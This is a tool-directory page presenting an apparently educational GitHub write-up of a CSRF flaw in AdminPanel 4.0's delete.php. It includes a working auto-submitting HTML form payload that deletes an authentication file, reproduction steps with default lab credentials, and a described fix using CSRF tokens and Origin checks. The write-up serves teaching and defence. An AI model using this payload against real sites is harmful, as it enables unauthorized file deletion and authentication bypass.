Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-30498 — Educational CSRF vulnerability demonstration with a controlled lab environment, including a proof-of-concept exploit and a fixed version with proper CSRF protections. | Kitploit
Tools/GitHubGitHub/mehdi-ben-hamou/cve-2026-30498
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubmehdi-ben-hamou/cve-2026-30498

CVE-2026-30498

Educational CSRF vulnerability demonstration with a controlled lab environment, including a proof-of-concept exploit and a fixed version with proper CSRF protections.

View Repository
1337 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    851
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    538
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    297
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-30498 – CSRF Vulnerability (AdminPanel 4.0)


Overview

CVE ID: CVE-2026-30498 (Reserved by MITRE)
Discoverer: Mehdi Ben Hamou

A Cross-Site Request Forgery (CSRF) vulnerability exists in the delete.php endpoint of AdminPanel 4.0.

This vulnerability allows an attacker to trigger sensitive actions (file deletion) on behalf of an authenticated user without their consent.


Technical Details

The vulnerability is caused by the absence of CSRF protections:

  • No CSRF token validation
  • No Origin / Referer validation
  • Sensitive action exposed via GET request
  • No verification of user intent

The vulnerable endpoint processes requests directly based on user session without validating the source of the request.


Impact

Successful exploitation leads to:

  • Deletion of verifyPanel.php
  • Authentication bypass
  • Application enters setup mode
  • Full system reinitialization possible

Affected Version

  • AdminPanel 4.0 and prior (archived project)

Attack Scenario

An attacker hosts a malicious web page that sends a forged request:

http://localhost:8080/delete.php?file=verifyPanel.php

When a victim (authenticated user) visits this page, the browser automatically includes session cookies, and the request is executed.


Proof of Concept (PoC)

Malicious Page (Attacker)

<form id="csrfForm" action="http://localhost:8080/delete.php" method="GET">
  <input type="hidden" name="file" value="verifyPanel.php">
</form>
<script>
  document.getElementById("csrfForm").submit();
</script>

This request is automatically sent with the victim's session cookie.


Steps to Reproduce

  1. Start the victim server:
php -S localhost:8080
  1. Access the login page:
http://localhost:8080
  1. Login with:
admin / admin123
  1. Open attacker page:
http://localhost:8081/evil.html
  1. Launch CSRF attack
  2. Return to dashboard:
/panel/dashboard.php

What Happens Internally

  1. Victim logs in → session cookie created
  2. Attacker page sends forged request
  3. Browser automatically attaches cookie
  4. Server executes deletion without verification
  5. System detects missing authentication file
  6. Application enters setup mode

Lab Environment (Pedagogical Simulation)

This repository includes a controlled lab environment to reproduce the vulnerability safely.

Important: This lab is a simulation and does not represent the exact original AdminPanel codebase.

Reset Lab

To reset the environment:

/reset.php

Fixed Version (Mitigation)

A secure version is implemented in:

delete_fixed.php

Protections added:

  • ✅ CSRF Token validation
  • ✅ POST method only
  • ✅ Origin / Referer validation
  • ✅ Session validation

Why the Fix Works

  • Attacker cannot access CSRF token (Same-Origin Policy)
  • Forged requests lack valid token → rejected
  • Cross-origin requests blocked via Origin check

Project Structure

victim/
├── index.php
├── delete.php
├── delete_fixed.php
├── reset.php
└── panel/
    └── dashboard.php

attacker/
└── evil.html

Disclaimer

This project is intended for educational and research purposes only.
Do not use this vulnerability on systems without proper authorization.

Download Tool